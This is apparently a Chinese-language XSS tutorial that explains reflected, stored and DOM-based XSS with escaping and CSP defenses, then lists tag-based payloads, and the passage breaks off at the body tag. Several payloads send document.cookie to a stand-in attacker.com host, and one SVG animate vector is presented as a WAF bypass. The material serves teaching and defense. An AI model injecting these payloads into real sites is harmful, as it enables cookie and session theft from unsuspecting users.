XSS攻击全解析：原理、类型与防御【详细】

关注

原创最新推荐文章于 2026-10-20 15:04:48 发布 994 阅读 AI 写同款· GEO 优化 ›

image xss 4.能发动xss攻击的图片的制作方法按照以下步骤，可以轻松制作出能发动xss攻击的.gif、.jpg图片。 1。制作原始图片图1 这里为什么设置背景色？为了图7处加入js脚本后，js脚本能够被执行的成功率更高。(js被加到图片的comment区域的机会更大) 图2 阅读详情

1. 前言

初次学习，比较简陋，有出错地方请指正

参考大佬文献

2. 纸上谈兵

2.1. 什么是跨站脚本攻击

跨站脚本攻击(xss），指攻击者通过篡改网页，嵌入恶意脚本程序，在用户浏览网页时，控制用户浏览器进行恶意操作的一种攻击方式。

XSS又叫CSS（Cross Site Script）跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。

借助这种攻击方式，攻击者能够窃取用户的敏感信息，如登录凭证、个人隐私数据等；劫持用户会话，以用户身份进行各种操作；甚至篡改网站内容，严重损害网站的声誉和用户信任。举例来说，某电商网站若存在 XSS 漏洞，攻击者可通过注入恶意脚本，窃取用户的账号密码，进而盗刷用户的账户资金，给用户带来直接的经济损失。

2.2. XSS的原理

攻击者对含有漏洞的服务器发起XSS攻击（注入JS代码）。
诱使受害者打开受到攻击的服务器URL。
受害者在Web浏览器中打开URL，恶意脚本执行。

2.3. xss的类型

类型	代码存储位置	触发方式	危害程度
反射型XSS	无（URL中）	用户点击恶意链接	中等
存储型XSS	服务器数据库	访问包含恶意内容的页面	高
DOM型XSS	无（客户端）	前端DOM操作	中等

2.3.1. 反射型 XSS

2.3.1.1. 定义

反射型 XSS 攻击的脚本通常存在于 URL 中，服务器在接收到请求后，会直接将包含恶意脚本的内容返回给浏览器执行。

这种攻击属于非持久性攻击，

【攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码（服务器中没有这样的页面和内容），一般容易出现在搜索页面。一般是后端代码进行处理】

例如，攻击者构造链接 “http://example.com/search?query=alert('XSS')”，当用户点击该链接时，服务器将恶意脚本反射回浏览器，进而执行弹窗操作。

【核心特点是恶意代码通过URL参数传递，服务器未过滤直接反射回页面执行。】

2.3.1.2. 核心原理：URL传参→服务器反射→浏览器执行

攻击者构造包含恶意脚本的URL，诱导用户点击。服务器将URL中的参数（如搜索关键词、表单输入）原样嵌入响应页面，浏览器误认为是可信内容，执行恶意脚本。

区别于存储型XSS：恶意代码不存储在服务器，仅在单次请求中“反射”执行。

2.3.1.3. 最直观的示例：搜索框注入

假设某网站的搜索功能直接显示用户输入（未转义），攻击者构造如下链接：

http://example.com/search?keyword=<script>alert('XSS攻击')</script>

当用户点击该链接，服务器返回的页面会包含这段脚本，浏览器执行后弹出警告框 ⚠️。

2.3.1.4. 其他常见场景示例

表单提交：如评论、登录页的错误提示直接回显用户输入，攻击者构造含脚本的表单数据。
HTTP头注入：少数网站会将Referer或User-Agent头直接显示在页面（如“您从xx页面跳转而来”），攻击者可篡改这些头注入脚本。
DOM型变种：部分反射型XSS发生在前端（无需服务器参与），例如页面通过document.location.search直接读取URL参数并插入DOM，如：

// 前端代码（不安全）
let keyword = new URLSearchParams(location.search).get('keyword');
document.getElementById('result').innerHTML = keyword;

攻击者构造keyword=<script>stealCookie()</script>即可触发。

2.3.1.5. 攻击链的“完整形态”

攻击者生成含脚本的URL（如http://target.com?q=<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>）。
通过邮件、社交平台诱导用户点击。
用户点击后，浏览器向target.com发送请求，服务器返回含脚本的页面。
脚本执行，窃取用户Cookie并发送到攻击者服务器。

2.3.1.6. 关键识别点

URL特征：参数中含<script>、<img src=x onerror=...>等HTML/JS代码。
页面行为：点击链接后出现异常弹窗、页面跳转、内容篡改等。
响应特征：查看页面源码，若URL参数直接出现在HTML中且未转义（如<未替换<），则可能存在漏洞。

2.3.1.7. 防御核心：

对用户输入进行HTML实体转义（如<→<），或使用CSP限制脚本执行。

2.3.2. 存储型XSS

2.3.2.1. 定义

存储型XSS（Stored XSS）又称持久型XSS，是危害最大的XSS类型之一。

核心特点是恶意代码被永久存储在服务器（如数据库、文件），所有访问包含该代码页面的用户都会触发攻击。

2.3.2.2. 核心原理

注入阶段：攻击者将含恶意脚本的内容（如评论、个人资料）提交到服务器，服务器未过滤直接存储。
触发阶段：其他用户访问该页面时，服务器从存储中读取恶意代码并嵌入响应，浏览器执行脚本。

关键区别：无需诱导用户点击特殊URL，只要访问正常页面即可触发，隐蔽性极强。

2.3.2.3. 典型场景与示例

最常见于用户交互功能，如：

评论区/留言板：攻击者提交 <script>fetch('http://attacker.com/steal?c='+document.cookie)</script>，其他用户查看评论时，脚本窃取Cookie并发送到攻击者服务器。
个人资料页：攻击者在“个性签名”中插入 <img src=x onerror=alert('XSS')>，所有访问其资料页的用户都会看到弹窗。
论坛/博客：恶意代码被嵌入帖子内容，新用户浏览时自动执行。

2.3.2.4. 主要危害

批量窃取Cookie：攻击所有访问页面的用户，导致账号批量被盗。
传播蠕虫：如2005年MySpace的“萨米蠕虫”，通过存储型XSS自动感染百万用户。
篡改页面内容：替换正常页面为钓鱼网站，骗取用户密码或支付信息。
结合CSRF攻击：利用用户身份执行恶意操作（如转账、发布广告）。

2.3.2.5. 防御核心策略

输入严格过滤

- 对用户输入进行白名单验证（如仅允许字母、数字），拒绝含<script>、<img>等危险标签的内容。
- 示例：评论区限制输入长度，过滤HTML特殊字符（<→<，>→>）。

输出编码转义

- 从服务器读取数据后，在输出到页面时进行HTML实体转义，确保恶意代码被当作文本而非脚本执行。
- 示例：使用htmlspecialchars()（PHP）或escapeHtml()（Java）处理用户输入。

使用安全框架

- 部署内容安全策略（CSP），限制页面仅加载可信域名的脚本（如Content-Security-Policy: script-src 'self'）。
- 避免使用innerHTML等直接插入HTML的危险API，改用textContent输出纯文本。

定期审计

- 检查数据库中存储的用户内容，及时清理恶意代码；对历史漏洞（如旧版本CMS）进行补丁更新。

2.3.2.6. 关键提示

存储型XSS的隐蔽性使其成为黑产常用手段，防御需从输入过滤和输出转义双重入手，缺一不可。测试时可利用DVWA靶场的“Stored XSS”模块练习攻击与防御逻辑，强化理解 🛡️。

2.3.3. DOM型XSS

2.3.3.1. 定义

DOM型XSS（DOM-based XSS）是前端触发的跨站脚本攻击，

核心特点是恶意代码通过前端DOM操作执行，无需服务器参与。

2.3.3.2. 核心原理：前端直接操作DOM→未过滤导致执行

攻击者构造含恶意脚本的URL或输入，页面通过JavaScript直接读取用户输入并插入DOM

（如innerHTML、document.write），浏览器误认为是可信内容，执行恶意脚本。

关键区别：与反射型/存储型XSS不同，DOM型XSS的攻击完全发生在客户端，服务器返回的响应中不包含恶意代码，仅前端代码存在漏洞。

2.3.3.3. 最直观的示例：URL参数直接插入DOM

假设某网站的前端代码直接读取URL参数并插入页面（未转义）：

// 前端代码（不安全）
let keyword = new URLSearchParams(location.search).get('keyword');
document.getElementById('result').innerHTML = keyword;

攻击者构造如下链接：

http://example.com/page?keyword=<script>alert('DOM XSS攻击')</script>

当用户访问该链接，前端代码将keyword参数直接插入DOM，浏览器执行脚本弹出警告框 ⚠️。

2.3.3.4. 典型场景与变种示例

URL哈希（#）注入
部分页面通过location.hash读取参数（如单页应用路由），攻击者构造：

http://example.com/#<img src=x onerror=alert('XSS')>

前端代码若直接将hash值插入DOM（如document.getElementById('content').innerHTML = location.hash.substr(1)），则触发攻击。

表单输入即时渲染
如搜索框实时显示输入内容（未转义），攻击者在输入框中直接输入<script>stealCookie()</script>，前端代码立即将其插入DOM执行。
第三方库/插件漏洞
部分前端库（如早期jQuery的html()方法）未对输入进行过滤，攻击者可利用库的API注入脚本。

2.3.3.5. 攻击链的“完整形态”

攻击者分析目标网站的前端代码，找到直接操作DOM的不安全点（如innerHTML、eval）。
构造含恶意脚本的URL（如http://target.com?user=<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>）。
诱导用户访问该URL，前端代码读取参数并插入DOM，执行脚本窃取Cookie。

2.3.3.6. 防御核心策略

避免直接操作DOM的危险API

- 禁用innerHTML、document.write、eval等直接执行HTML/JS的方法，改用textContent（仅输出纯文本）。
- 示例：将element.innerHTML = userInput改为element.textContent = userInput。

输入严格转义

- 对用户输入的特殊字符进行HTML实体转义（如<→<，>→>），确保恶意代码被当作文本而非脚本。
- 推荐使用成熟的转义库（如DOMPurify）处理富文本输入。

使用安全的前端框架

- 现代框架（如React、Vue）默认对插值内容进行转义（如React的{}语法），减少DOM型XSS风险。

限制脚本执行权限

- 部署内容安全策略（CSP），禁止内联脚本（script-src 'self'）和未授权域名的脚本加载。

2.3.3.7. 关键识别点

前端代码特征：存在直接读取用户输入（URL参数、表单、Cookie）并插入DOM的操作（如innerHTML、insertAdjacentHTML）。
攻击隐蔽性：服务器响应中无恶意代码，传统WAF（Web应用防火墙）难以检测，需通过前端代码审计发现漏洞。

DOM型XSS的防御核心是规范前端代码编写，避免直接将用户输入作为HTML/JS执行，从源头切断攻击路径 🛡️。

2.3.3.8. 与反射型xss区别

反射型XSS和DOM型XSS均属于非持久型XSS，但两者在数据流转路径、触发阶段和漏洞位置上存在本质差异，以下是关键对比：

2.3.3.8.1. 核心区别：数据是否经过服务器

维度	反射型XSS	DOM型XSS
数据流转路径	恶意代码通过URL/表单提交→服务器接收并返回→浏览器执行	恶意代码直接在客户端DOM操作中注入→无需服务器参与
触发阶段	服务器返回的响应中已包含恶意代码，浏览器加载时执行	服务器返回的响应中无恶意代码，前端JS操作DOM时动态注入执行
漏洞位置	后端代码未对用户输入进行过滤/转义	前端JS未对DOM操作的输入进行过滤/转义

2.3.3.8.2. 典型示例对比

反射型XSS示例
后端代码直接将URL参数返回给页面（未转义）：

// 后端PHP代码（不安全）
$keyword = $_GET['keyword'];
echo "<div>搜索结果：$keyword</div>";

攻击者构造链接：

http://example.com/search?keyword=<script>alert('反射型XSS')</script>

用户访问后，服务器返回的HTML中已包含<script>标签，浏览器直接执行。

DOM型XSS示例
前端代码直接读取URL参数并插入DOM（未转义）：

// 前端JS代码（不安全）
let keyword = new URLSearchParams(location.search).get('keyword');
document.getElementById('result').innerHTML = keyword;

攻击者构造相同链接，但服务器返回的HTML中不包含恶意代码，前端JS将参数插入DOM时触发执行。

2.3.3.8.3. 关键识别方法

反射型XSS：在浏览器的响应数据包中能直接看到恶意代码（如<script>标签）。
DOM型XSS：响应数据包中无恶意代码，需查看前端JS是否存在直接操作DOM的危险逻辑（如innerHTML、document.write）。

2.3.3.8.4. 防御策略差异

反射型XSS：需在后端对用户输入进行过滤/转义（如PHP的htmlspecialchars()），并在输出时编码。
DOM型XSS：需在前端对所有DOM操作的输入进行转义（如使用textContent替代innerHTML），或通过CSP限制脚本执行。

两者的防御核心均为输入验证+输出编码，但反射型需关注后端，DOM型需聚焦前端代码安全 🛡️。

2.3.4. 总结【白痴一点】

XSS（跨站脚本攻击）本质是攻击者把恶意代码藏进网页，让用户浏览器执行，从而窃取信息或控制账户。

三种类型的核心区别在于恶意代码“藏在哪里”和“怎么触发”，用生活化场景类比更易懂：

2.3.4.1. 存储型XSS：“藏在网站数据库里的毒评论”

通俗理解：就像有人在论坛发了一条带“毒”的评论（含恶意代码），这条评论被网站永久存在数据库里。其他用户只要打开这个帖子，网站就会把这条“毒评论”从数据库里调出来显示，用户浏览器执行恶意代码。
例子：攻击者在评论区发<script>偷你密码</script>，网站没过滤就存起来。所有人看这个评论时，浏览器都会执行脚本偷密码。
特点：持久化攻击，只要网站不删这条“毒内容”，每个访问的人都会中招。

2.3.4.2. 反射型XSS：“钓鱼链接里的毒参数”

通俗理解：攻击者做了个“钓鱼链接”，里面藏着恶意代码（比如?search=<script>偷你信息</script>）。用户点了链接后，网站把这个“毒参数”直接“反射”回用户浏览器，浏览器以为是网站给的正常内容，执行恶意代码。
例子：你收到一条“点击查看中奖信息”的链接，点进去后网站显示“搜索结果：<script>偷你Cookie</script>”，其实是网站把链接里的恶意代码直接返回给你执行。
特点：一次性攻击，恶意代码不会存在网站里，只有点了钓鱼链接的人才会中招。

2.3.4.3. DOM型XSS：“网页自己把毒吃下去”

通俗理解：网页的前端代码（比如JavaScript）有个“坏习惯”——直接把用户输入（比如URL里的内容、搜索框输入）不加过滤就放到页面上。攻击者利用这个“坏习惯”，把恶意代码藏在用户输入里，网页自己把代码“吃”进去执行。
例子：网页搜索框实时显示你输入的内容，你输入<script>弹广告</script>，网页直接把这段内容放到页面上，浏览器就弹广告了。
特点：纯前端攻击，恶意代码根本没经过网站服务器，是网页自己的代码“不设防”导致的。

2.3.4.4. 一句话区分核心

存储型：恶意代码存在网站里，谁看谁中招；
反射型：恶意代码在钓鱼链接里，点链接才中招；
DOM型：恶意代码在用户输入里，网页自己执行中招。

防御的核心都是**“过滤恶意代码”**：存储型和反射型要在网站后台过滤，DOM型要在前端代码里过滤，别让恶意代码“混进”网页执行 🛡️。

2.4. 常见XSS攻击方式【属性与标签】

列举的标签大部分是可以自动触发js代码的，无需用户去交互

2.4.1. scirpt 标签

<script>标签是HTML中定义或引入JavaScript代码的核心标签，浏览器遇到该标签时会暂停解析HTML，优先执行其中的脚本（特殊场景除外）。

2.4.1.1. 基础用法

内嵌脚本：直接在标签内写代码

<script>
  alert("这是内嵌脚本");
</script>

外部脚本：通过src属性引入外部.js文件

<script src="https://example.com/script.js"></script>

2.4.1.2. 关键属性

src：指定外部脚本文件的URL（引入外部脚本时必用）。
async：异步加载脚本，加载完成后立即执行（不阻塞HTML解析，脚本执行顺序不确定）。
defer：延迟执行脚本，HTML解析完成后按顺序执行（适合依赖DOM的脚本）。
type：指定脚本类型，默认text/javascript（可省略）；若为module则表示ES6模块。

2.4.1.3. 安全注意事项

避免内联脚本：直接写在HTML中的脚本易被XSS攻击利用（如注入<script>恶意代码</script>）。
限制外部脚本源：通过CSP（内容安全策略） 限制src只能加载可信域名的脚本（如Content-Security-Policy: script-src 'self' https://trusted.com）。
警惕eval()：动态执行字符串的eval()函数风险极高，易被注入恶意代码。

2.4.1.4. 一句话总结

<script>是JavaScript的“入口”，合理使用async/defer提升页面性能，通过CSP和输入过滤防范XSS攻击 🛡️。

2.4.1.5. 攻击

<script>alert(1);</script>
 <script>alert("xss");</script>

2.4.2. img 标签

<img>标签是HTML中嵌入图像的专用标签，属于空元素（无需闭合标签），浏览器通过该标签加载并渲染图片资源。

2.4.2.1. 基础用法

<img src="image.jpg" alt="描述图片内容" width="300" height="200">

src：必选属性，指定图片的URL（本地路径或网络地址）。
alt：必选属性，图片无法加载时显示的替代文本（提升可访问性）。

2.4.2.2. 关键属性

属性	作用
`src`	图片资源地址（支持JPG/PNG/GIF/WebP等格式）。
`alt`	替代文本（屏幕阅读器会读取，搜索引擎依赖此理解图片内容）。
`width`/`height`	图片显示尺寸（建议同时设置，避免页面布局抖动）。
`loading`	懒加载控制：`lazy`（滚动到可视区域再加载）、`eager`（立即加载）。
`srcset`/`sizes`	响应式图片：根据设备尺寸加载不同分辨率的图片（优化性能）。

2.4.2.3. 安全与性能注意事项

防范XSS攻击：

- 避免直接将用户输入作为src值（如src="javascript:alert(1)"），需后端过滤或转义。
- 限制图片源为可信域名（通过CSP的img-src指令）。

性能优化：

- 使用loading="lazy"实现懒加载，减少初始加载时间。
- 优先使用WebP格式（体积小、质量高），通过picture标签降级兼容旧浏览器。

2.4.2.4. 一句话总结

<img>是网页图像的“载体”，alt和loading是提升可访问性与性能的关键，需警惕src注入风险 🛡️。

2.4.2.5. 攻击

<img src=1 onerror=alert(1);>
<img src=1 onerror=alert("xss");>

2.4.3. input 标签

<input>标签是HTML中收集用户输入的核心表单元素，通过type属性支持多种输入类型（如文本、密码、单选框等），是交互型网页的基础组件。

2.4.3.1. 基础用法

<input type="text" name="username" placeholder="请输入用户名" required>

type：必选属性，决定输入框的功能（如text、password、email等）。
name：表单提交时的参数名（后端通过此获取值）。
placeholder：输入框内的提示文本（不提交）。

2.4.3.2. 常用`type`类型

类型值	功能描述
`text`	单行文本输入（默认类型）。
`password`	密码输入（输入内容隐藏为圆点）。
`email`	邮箱输入（自动验证格式，移动端弹出邮箱键盘）。
`checkbox`	复选框（可多选，需配合`value`和`name`）。
`radio`	单选框（同一`name`下只能选一个）。
`file`	文件上传（支持`multiple`属性多选文件）。

2.4.3.3. 关键属性

required：标记为必填项（提交时自动验证）。
maxlength：限制输入字符数（如密码长度）。
pattern：通过正则表达式验证输入格式（如pattern="[A-Za-z0-9]{6,}"限制密码为6位以上字母数字）。
disabled：禁用输入框（无法编辑，值不提交）。
readonly：只读输入框（可查看但无法编辑，值会提交）。

2.4.3.4. 安全注意事项

防范XSS攻击：

- 后端必须对用户输入进行过滤/转义（如将<转义为<），避免注入恶意脚本。
- 避免使用type="button"执行JavaScript（优先用addEventListener绑定事件）。

敏感输入保护：

- 密码输入用type="password"，避免明文显示；重要操作需二次验证。

2.4.3.5. 一句话总结

<input>是用户与网页交互的“入口”，合理使用type和验证属性提升体验，后端过滤是防范注入攻击的关键 🛡️。

2.4.3.6. 攻击

onfocus 事件在对象获得焦点时发生：

<input onfocus=alert(1);>

竞争焦点，从而触发onblur事件：

<input onblur=alert(1) autofocus><input autofocus>

input 标签的 autofocus 属性规定当页面加载时元素应该自动获得焦点。

可以通过autofocus属性自动执行本身的focus事件，这个向量是使焦点自动跳到输入元素上，触发焦点事件，无需用户去触发：

<input onfocus="alert(1);" autofocus>

" οnclick=alert(1)>        这样需要点击一下输入框<br>
" onmouseover=alert(1)>    需要鼠标划过输入框<br>

2.4.3.6.1. 解释一下

焦点事件（onfocus/onblur）是HTML中用户交互的基础事件，但通过autofocus属性可绕过用户操作自动触发，这是XSS攻击的常见利用点。以下是关键场景解析：

【焦点：类似于是对象】

【触发方式有两种：自动与手动onfocus】

onfocus：主动聚焦触发

用户触发：点击输入框或按Tab键聚焦时触发。

<input onfocus="alert('手动聚焦触发');"> <!-- 需用户点击/Tab -->

<input onfocus="alert('你点击我了！');">

效果：你必须点击输入框，才会弹出提示框。

autofocus：自动触发：通过autofocus属性，页面加载时自动聚焦并执行onfocus代码。

<input onfocus="alert('自动聚焦触发');" autofocus> <!-- 无需用户操作 -->

<input onfocus="alert('我自动弹出来了！');" autofocus>

效果：页面一打开，提示框直接弹出，你什么都不用做。

onblur：焦点丢失触发

autofocus的规则是：一个页面只能有一个元素自动获得焦点。如果多个元素都加了autofocus，浏览器会优先给第一个元素焦点，第二个元素因为“没抢到焦点”，直接触发onblur（失去焦点）。

<input onblur="alert('焦点丢失触发');" autofocus> <!-- 第一个：获得焦点 -->
<input autofocus> <!-- 第二个：竞争失败，直接触发onblur -->

其他交互事件的触发条件

onclick：需用户点击输入框才能触发（无自动触发途径）。
onmouseover：需用户鼠标划过输入框才能触发（依赖鼠标操作）。

2.4.3.6.2. 安全风险：XSS攻击的“自动触发”向量

autofocus+onfocus是最危险的自动触发组合，攻击者可构造如下 payload 注入网页：

<input onfocus="stealCookie();" autofocus> <!-- 页面加载即执行恶意代码 -->

风险点：无需用户任何操作，恶意代码在页面加载时自动执行，窃取Cookie、重定向页面等。

2.4.4. details 标签

<details>标签是HTML5新增的折叠/展开组件，用于创建可交互的“手风琴”效果，默认折叠内容，点击后展开，常用于隐藏非关键信息（如详情、帮助文本）。

【可以通过f12去查看页面的源代码，会有这个的出现html】

2.4.4.1. 基础用法

<details>
  <summary>点击展开更多信息</summary>
  <p>这里是折叠的内容，点击上方标题可展开/收起。</p>
</details>

<summary>：必选子标签，定义折叠面板的“标题栏”（点击触发展开/收起）。
内部内容：<summary>之外的部分为折叠内容（可包含任意HTML元素，如文本、图片、列表）。

2.4.4.2. 关键特性

默认折叠：页面加载时内容默认隐藏，点击<summary>后展开。
open属性：添加open可让面板默认展开：

<details open>
  <summary>默认展开的面板</summary>
  <p>内容直接可见</p>
</details>

可访问性：自动支持键盘交互（按Enter或Space键切换状态），屏幕阅读器会识别为“折叠控件”。

2.4.4.3. 常见使用场景

FAQ问答：每个问题作为<summary>，答案作为折叠内容。
代码示例：隐藏冗长代码，点击展开查看。
详情补充：如商品详情页的“规格参数”“售后政策”。

2.4.4.4. 注意事项

兼容性：支持所有现代浏览器（IE不支持，需降级处理）。
样式自定义：可通过CSS修改<summary>的默认箭头（如list-style-type: none;隐藏箭头，自定义图标）。

2.4.4.5. 一句话总结

<details>是“内容折叠神器”，搭配<summary>实现轻量交互，无需JavaScript即可完成展开/收起，适合优化页面信息层级 📂。

2.4.4.6. 攻击

使用details 标签的 open 属性触发ontoggle事件，无需用户去点击即可触发：

<details open ontoggle=alert(1);>

ontoggle是<details>的专属事件，当面板从“收起→展开”或“展开→收起”时触发。

但通过open属性，可绕过用户点击自动触发：

2.4.4.6.1. 手动触发：需要用户点击

默认情况下，<details>是收起的，用户点击后才会触发ontoggle：

<details ontoggle="alert('你点击展开了！');">
  <summary>点击展开</summary>
  <p>隐藏的内容</p>
</details>

效果：用户必须点击“点击展开”，才会弹出提示框。

2.4.4.6.2. 自动触发：无需用户操作（重点！）

当<details>添加open属性时，页面加载时会默认展开，此时面板状态从“初始收起→默认展开”，直接触发ontoggle事件：

<details open ontoggle="alert('我自动展开并触发了！');">
  <summary>自动展开</summary>
  <p>隐藏的内容</p>
</details>

效果：页面一打开，提示框直接弹出，你什么都不用做。

2.4.4.6.3. 为什么这是XSS攻击的“新向量”？

攻击者可以利用open+ontoggle构造自动执行的恶意代码，比如：

<details open ontoggle="stealYourData();">
  <summary>无害的标题</summary>
  <p>隐藏的恶意代码</p>
</details>

风险：页面加载时，恶意代码直接执行，用户完全没感知（因为面板默认展开，看起来和普通内容一样）。

2.4.4.6.4. 一句话总结

<details>的open属性让“折叠面板”变成了自动执行代码的“开关”——本来需要用户点击才触发的事件，现在页面加载就跑。记住：凡是“默认状态变化就能触发的事件”，都是XSS攻击的潜在目标 🛡️。

2.4.5. SVG标签

SVG（Scalable Vector Graphics）是基于XML的矢量图形格式，用于在网页或应用中渲染高清晰度的图形（放大不失真）。以下是SVG标签的核心知识点：

2.4.5.1. SVG标签的基本结构

一个完整的SVG文件必须包含根标签<svg>，并指定命名空间和尺寸：

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <!-- 图形内容（如矩形、圆形、路径等） -->
  <rect x="50" y="50" width="100" height="100" fill="red" />
</svg>

xmlns：必须声明SVG命名空间（固定值http://www.w3.org/2000/svg）。
width/height：图形的显示尺寸（支持像素、百分比等单位）。

2.4.5.2. 常用子标签：绘制基础图形

SVG通过子标签绘制不同形状，核心标签如下：

标签	作用	关键属性
`<rect>`	矩形	`x/y`（位置）、`width/height`（尺寸）、`fill`（填充色）
`<circle>`	圆形	`cx/cy`（圆心）、`r`（半径）、`stroke`（边框色）
`<path>`	自定义路径	`d`（路径指令，如`M`移动、`L`画线、`Z`闭合）
`<text>`	文本	`x/y`（位置）、`font-size`（字号）
`<g>`	分组容器	用于将多个图形组合，统一设置样式（如`transform`旋转）

2.4.5.3. SVG的核心优势

矢量特性：放大后不会模糊（适合图标、Logo、图表）。
可交互性：支持添加事件（如onclick）和动画（如<animate>标签）。
轻量灵活：文件体积小，可通过CSS或JS动态修改样式/内容。

2.4.5.4. SVG的常见用途

网页图标：替代PNG/JPG，实现高清适配（如Iconfont的SVG图标）。
数据可视化：结合D3.js等库绘制动态图表（折线图、饼图）。
动画效果：通过<animate>或CSS实现图形的平滑过渡（如加载动画）。

2.4.5.5. 一句话总结

SVG是网页矢量图形的标准格式，通过XML标签定义图形，兼具高清、交互、轻量三大优势，是现代前端开发的必备技术之一 🎨。

2.4.5.6. 攻击

SVG的onload事件和<script>标签是最常见的自动触发手段，无需用户点击即可执行恶意代码：

2.4.5.6.1. `onload`事件：页面加载即执行

SVG加载时自动触发onload，直接执行内联脚本：

<svg xmlns="http://www.w3.org/2000/svg" onload="alert('SVG XSS')">
  <!-- 图形内容（可隐藏） -->
</svg>

风险：嵌入网页或通过<img src="恶意.svg">引用时，浏览器会解析并执行脚本。

2.4.5.6.2. `<script>`标签：直接嵌入脚本

SVG允许直接插入<script>标签，内容会被浏览器当作JavaScript执行：

<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    fetch('https://攻击者服务器?cookie=' + document.cookie); // 窃取Cookie
  </script>
</svg>

2.4.5.6.3. 动画标签绕过WAF：`animate`/`animateTransform`

利用SVG动画属性（如values/keyTimes）混淆恶意代码，绕过防火墙检测：

<svg>
  <animate 
    xlink:href="#xss" 
    attributeName="href" 
    dur="5s" 
    repeatCount="indefinite" 
    keyTimes="0;0;1" 
    values="https://正常网址?&semi;javascript:alert(1)&semi;0" 
  />
  <a id="xss"><text x="20" y="20">点击触发</text></a>
</svg>

原理：通过动画循环加载javascript:伪协议，绕过WAF对静态脚本的检测。

2.4.6. select 标签

<select>是HTML中用于创建下拉选择框【创建下拉列表】的表单标签，允许用户从预定义选项中选择一个或多个值。以下是其核心用法与属性：

2.4.6.1. 基本结构

通过<select>包裹<option>子标签实现下拉列表：

<select name="city">
  <option value="beijing">北京</option>
  <option value="shanghai" selected>上海</option> <!-- 默认选中 -->
  <option value="guangzhou">广州</option>
</select>

name：表单提交时的参数名（必填）。
<option>：下拉选项，value为提交值，标签内文字为显示文本。

2.4.6.2. 关键属性

属性	作用
`multiple`	允许多选（按住Ctrl/Command点击可选择多个选项）。
`size`	设置下拉框的可见行数（如`size="3"`则显示3行选项，超出部分滚动）。
`disabled`	禁用下拉框（用户无法交互）。
`required`	表单提交时必须选择（HTML5新增，用于表单验证）。

2.4.6.3. 扩展用法：`<optgroup>`分组选项

通过<optgroup>可将选项按类别分组，提升可读性：

<select name="fruit">
  <optgroup label="温带水果">
    <option value="apple">苹果</option>
    <option value="pear">梨</option>
  </optgroup>
  <optgroup label="热带水果">
    <option value="banana">香蕉</option>
    <option value="mango">芒果</option>
  </optgroup>
</select>

2.4.6.4. 常见应用场景

表单选择：用于性别、城市、日期等固定选项的选择（如注册页面的“出生年份”）。
筛选功能：结合JS实现动态筛选（如电商网站的“价格区间”下拉筛选）。
联动菜单：通过onchange事件触发其他元素变化（如选择省份后自动加载对应城市列表）。

2.4.6.5. 一句话总结

<select>是HTML表单中下拉选择交互的核心控件，通过<option>定义选项，支持单选/多选、分组等功能，是收集用户选择类数据的基础工具 📋。

2.4.7. iframe 标签

<iframe>（Inline Frame）是HTML中用于在当前页面嵌入另一个HTML文档的标签，常用于集成外部内容（如地图、视频、第三方页面）。以下是其核心用法与注意事项：

2.4.7.1. 基本结构

通过src属性指定嵌入的外部页面URL：

<iframe 
  src="https://example.com" 
  width="600" 
  height="400" 
  title="示例页面"
></iframe>

src：必填，嵌入页面的URL（支持相对路径或绝对路径）。
width/height：框架的尺寸（单位：像素或百分比）。
title：辅助屏幕阅读器识别框架内容（无障碍设计必备）。

2.4.7.2. 关键属性

属性	作用
`sandbox`	启用沙箱模式，限制iframe的权限（如禁止表单提交、脚本执行），增强安全性。
`allowfullscreen`	允许嵌入页面全屏显示（如视频播放器的全屏按钮）。
`frameborder`	控制框架边框（`0`为无边框，`1`为有边框，HTML5中建议用CSS替代）。
`scrolling`	控制滚动条（`auto`自动显示、`yes`强制显示、`no`隐藏，HTML5中已废弃）。

2.4.7.3. 攻击

【防御：使用sandbox属性
限制iframe的权限（如禁止脚本执行、表单提交）：】

攻击者利用iframe的src属性执行恶意代码，常见场景包括：

直接注入JavaScript
通过javascript:伪协议在iframe中执行脚本，例如：

<iframe src="javascript:alert('XSS')"></iframe>

当用户访问包含该iframe的页面时，脚本会直接执行，可用于窃取Cookie或重定向页面。

加载恶意页面
将iframe的src指向攻击者控制的页面，嵌入隐藏的恶意脚本：

<iframe src="http://attacker.com/malicious.html" width="0" height="0"></iframe>

恶意页面中可包含窃取用户信息的代码（如document.cookie），并通过POST请求发送给攻击者服务器。

2.4.8. video 标签

<video>是HTML5引入的原生视频播放标签，用于在网页中嵌入视频内容，无需依赖Flash插件。

2.4.8.1. 基本结构

<video 
  src="example.mp4" 
  width="640" 
  height="360" 
  controls
></video>

src：必填，视频文件的URL（支持相对/绝对路径）。
controls：显示浏览器默认的播放控件（播放/暂停、音量、进度条等）。
width/height：视频的显示尺寸（单位：像素）。

2.4.8.2. 自定义控件：JavaScript API

通过JavaScript可控制视频的播放、暂停、音量等，实现自定义播放器：

const video = document.querySelector('video');
// 播放
video.play();
// 暂停
video.pause();
// 设置音量（0-1）
video.volume = 0.5;
// 监听播放事件
video.addEventListener('play', () => {
  console.log('视频开始播放');

2.4.8.3. 攻击

<video><source onerror=alert(1)>

<source>标签的作用
<source>用于为<video>提供多个视频格式（如MP4、WebM），浏览器会依次尝试加载。
onerror触发恶意代码
代码中未指定src属性（或src无效），导致<source>加载失败，触发onerror=alert(1)执行JavaScript代码（实际攻击中可能是窃取Cookie、钓鱼等）。

2.4.9. audio 标签

<audio>是HTML5引入的原生音频播放标签，用于在网页中嵌入音频内容（如音乐、播客、音效等），无需依赖Flash插件。

【video是指视频之类的，audio是指音乐，声音之类的】

2.4.9.1. 基本结构

通过src指定音频文件路径，支持MP3、WAV、Ogg等格式：

<audio 
  src="music.mp3" 
  controls
></audio>

src：必填，音频文件的URL（相对/绝对路径均可）。
controls：显示浏览器默认的音频控件（播放/暂停、音量、进度条等）。

2.4.9.2. 攻击

<audio src=x onerror=alert(1);>

src=x触发错误
src=x是一个无效的音频文件路径，浏览器加载失败时会触发onerror事件。
onerror执行恶意代码
onerror=alert(1);中的alert(1)是测试用的恶意代码（实际攻击中可能是窃取Cookie、重定向页面等）。当错误发生时，代码会自动执行。

【如：οnerrοr="fetch('http://attacker.com/steal?cookie='+document.cookie)】

2.4.10. body 标签

